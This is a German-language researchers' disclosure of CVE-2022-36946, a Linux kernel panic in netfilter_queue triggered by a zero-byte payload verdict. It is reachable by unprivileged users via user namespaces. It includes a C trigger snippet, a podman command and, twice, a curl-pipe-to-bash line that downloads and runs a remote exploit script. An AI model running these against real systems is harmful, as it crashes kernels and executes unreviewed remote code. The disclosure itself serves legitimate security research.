
CVE-2022-36946 linux kernel panic in netfilter_queue
Gemeldet von: Domingo Dirutigliano und Nicola Guerrera
Während wir an firegex arbeiteten, unserer Anwendungsfirewall für CTF-Angriff-Verteidigungswettbewerbe, stießen wir auf einige Kernel-Panics.
Dieses seltsame Verhalten wurde dann isoliert und analysiert, was zur Entdeckung dieses potenziellen Sicherheitsfehlers im netfilter-Modul führte, insbesondere bei nfnetlink.
Der Kernel gerät in Panik, wenn ein nf_queue-Urteil mit einem 0-Byte-nfta_payload-Attribut gesendet wird.
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
Dies geschieht, weil der IP/IPv6-Stack den IP(v6)-Header nach dem Input-Hook aus dem Paket zieht.
Wenn der Benutzer das Paket also unter die Headergröße kürzt, führt dieses skb_pull() zu einem fehlerhaften skb, was eine Panik auslöst.
Probieren Sie es aus, indem Sie curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash auch als unprivilegierter Benutzer ausführen (weitere Details unten).
Durch die Verwendung von Linux-Namespaces, insbesondere User-Namespaces (aktiviert über kernel.unprivileged_userns_clone=1), kann ein normaler Benutzer einen Netzwerk-Namespace erstellen, der es ihm ermöglicht, dieselben Kernel-Primitive zu verwenden, die die Panik auslösen.
Dadurch können Sie die Schwachstelle ohne Root-Rechte ausnutzen.
Dieses Szenario ist nicht ungewöhnlich: Beispielsweise verwendet podman diese Option, um seine (rootlosen) Container auszuführen, und auf einigen Distributionen ist diese Option standardmäßig aktiviert.
Sie können den Exploit auch ohne Root-Rechte ausführen mit:
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
oder wenn Sie es direkt testen möchten (nur tar und curl müssen installiert sein):
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
Behoben im Linux-Kernel 5.19 Diff ansehen
Original-Patch vom Linux-Kernel-Sicherheitsteam hier
Es funktionierte beim 6. Versuch, also haben wir den Namen behalten.

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing